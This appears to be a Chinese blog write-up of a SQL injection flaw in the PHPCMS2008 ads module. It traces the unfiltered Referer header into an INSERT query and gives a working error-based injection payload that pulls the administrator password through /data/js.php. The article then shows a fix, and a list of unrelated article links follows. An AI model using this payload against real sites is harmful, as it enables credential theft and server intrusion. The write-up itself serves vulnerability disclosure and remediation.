PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
php 代码优化的42条建议 推荐
Sep 25 PHP
PHP中for与foreach的区别分析
Mar 09 PHP
php 模拟POST提交的2种方法详解
Jun 17 PHP
php中限制ip段访问、禁止ip提交表单的代码分享
Aug 22 PHP
解决ThinkPHP关闭调试模式时报错的问题汇总
Apr 22 PHP
8个PHP数组面试题
Jun 23 PHP
yii2.0实现创建简单widgets示例
Jul 18 PHP
php mysql操作mysql_connect连接数据库实例详解
Dec 26 PHP
PHP基于curl post实现发送url及相关中文乱码问题解决方法
Nov 25 PHP
PHP实现QQ、微信和支付宝三合一收款码实例代码
Feb 19 PHP
php使用lua+redis实现限流,计数器模式,令牌桶模式
Apr 04 PHP
php 多进程编程父进程的阻塞与非阻塞实例分析
Feb 22 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
重料打造自己的“宝马”---第三代
2021/03/02 无线电
利用PHP实现与ASP Banner组件相似的类
2006/10/09 PHP
php中计算时间差的几种方法
2009/12/31 PHP
phpstorm配置Xdebug进行调试PHP教程
2014/12/01 PHP
php获取微信共享收货地址的方法
2017/12/21 PHP
ThinkPHP框架获取最后一次执行SQL语句及变量调试简单操作示例
2018/06/13 PHP
php传值和传引用的区别点总结
2019/11/19 PHP
php实现记事本案例
2020/10/20 PHP
javascript实现的网页局布刷新效果
2008/12/01 Javascript
JQueryEasyUI datagrid框架的基本使用
2013/04/08 Javascript
js实现接收表单的值并将值拼在表单action后面的方法
2015/11/23 Javascript
Javascript实现检测客户端类型代码封包
2015/12/03 Javascript
原生js和jQuery实现淡入淡出轮播效果
2015/12/25 Javascript
动态内存分配导致影响Javascript性能的问题
2018/12/18 Javascript
浅谈vuex的基本用法和mapaction传值问题
2019/11/08 Javascript
Vue项目接入Paypal实现示例详解
2020/06/04 Javascript
浅谈Vue使用Elementui修改默认的最快方法
2020/12/05 Vue.js
python爬虫正则表达式之处理换行符
2018/06/08 Python
Python利用sqlacodegen自动生成ORM实体类示例
2019/06/04 Python
python自动识别文本编码格式代码
2019/12/26 Python
python之随机数函数的实现示例
2020/12/30 Python
matplotlib运行时配置(Runtime Configuration,rc)参数rcParams解析
2021/01/05 Python
如何用Python提取10000份log中的产品信息
2021/01/14 Python
在购买印度民族服饰:Soch
2020/09/15 全球购物
提高EJB性能都有哪些技巧
2012/03/25 面试题
社区庆八一活动方案
2014/02/02 职场文书
工商干部先进事迹
2014/05/14 职场文书
人事任命书格式
2014/06/05 职场文书
房屋租赁合同解除协议书
2014/10/11 职场文书
学习经验交流会演讲稿
2015/11/02 职场文书
Pytest实现setup和teardown的详细使用详解
2021/04/17 Python
Python函数中的不定长参数相关知识总结
2021/06/24 Python
浅谈redis的过期时间设置和过期删除机制
2022/03/18 MySQL
从零开始在Centos7上部署SpringBoot项目
2022/04/07 Servers
GoFrame框架数据校验之校验结果Error接口对象
2022/06/21 Golang
CSS中使用grid布局实现一套模板多种布局
2022/07/15 HTML / CSS